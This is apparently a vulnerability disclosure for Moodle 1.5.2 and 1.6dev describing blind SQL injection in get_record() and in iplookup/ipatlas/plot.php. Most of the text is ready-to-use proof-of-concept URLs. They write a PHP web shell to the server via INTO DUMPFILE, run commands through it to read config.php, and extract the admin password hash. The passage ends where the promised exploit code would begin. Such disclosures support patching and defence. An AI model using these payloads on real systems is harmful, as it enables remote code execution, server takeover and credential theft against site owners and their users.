Moodle <=1.6dev blind SQL Injection / Remote commands/code execution / xss
software:
site: http://moodle.org/
description: "Moodle is a course management system (CMS) - a free, Open Source software package
designed using sound pedagogical principles, to help educators create effective online learning
communities.[..]"
I)
tested:
vulnerable versions: Moodle 1.5.2 ( Latest release /released on 16th July 2005)
" 1.5.2 ( Latest stable branch /built daily)
not vulnerable: Moodle 1.6dev ( Latest Development /built daily)
vulnerable code:
"get_record()" function in datalib.php, if a var is not
properly sanitized before to be passed as argument to it,
if magic_quotes_gpc off, we have SQL injection,poc:
[1] http://[target]/[path]/course/category.php?id='%20UNION%20SELECT%200,'<?php%20system($_GET[cmd]);%20?>',0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_course_categories/*
[2] http://[target]/[path]/course/info.php?id='UNION%20SELECT%200,0,0,0,'<?php%20system($_GET[cmd]);%20?>',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_course/*
now in shell.php we have something like:
00000<?php system($_GET[cmd]); ?>000000
so you can launch commands, ex.:
http://[target]/[path]/shell.php?cmd=cat%20config.php
or you can have any admin/user MD5 password hash, poc:
[3] http://[target]/[path]/course/category.php?id='%20UNION%20SELECT%20'',password,'','','','','',''%20INTO%20DUMPFILE%20'../../www/moodle/password.txt'%20FROM%20mdl_user%20WHERE%20username='admin'/*
then go to:
http://[target]/[path]/password.txt
II)
tested:
vulnerable: Moodle 1.6dev ( Latest Development /built daily)
if magic_quotes_gpc is off, you can see at screen any user/admin MD5 password hash, poc:
http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1&user='or%20isnull(1/0)/*
...and inject a shell:
http://[target]/[path]/iplookup/ipatlas/plot.php?address=127.0.0.1&user='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'<?php%20system($_GET[cmd]);%20?>%20',0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_user/*
this is the exploit code for [I.1], [I.2] and [III]:
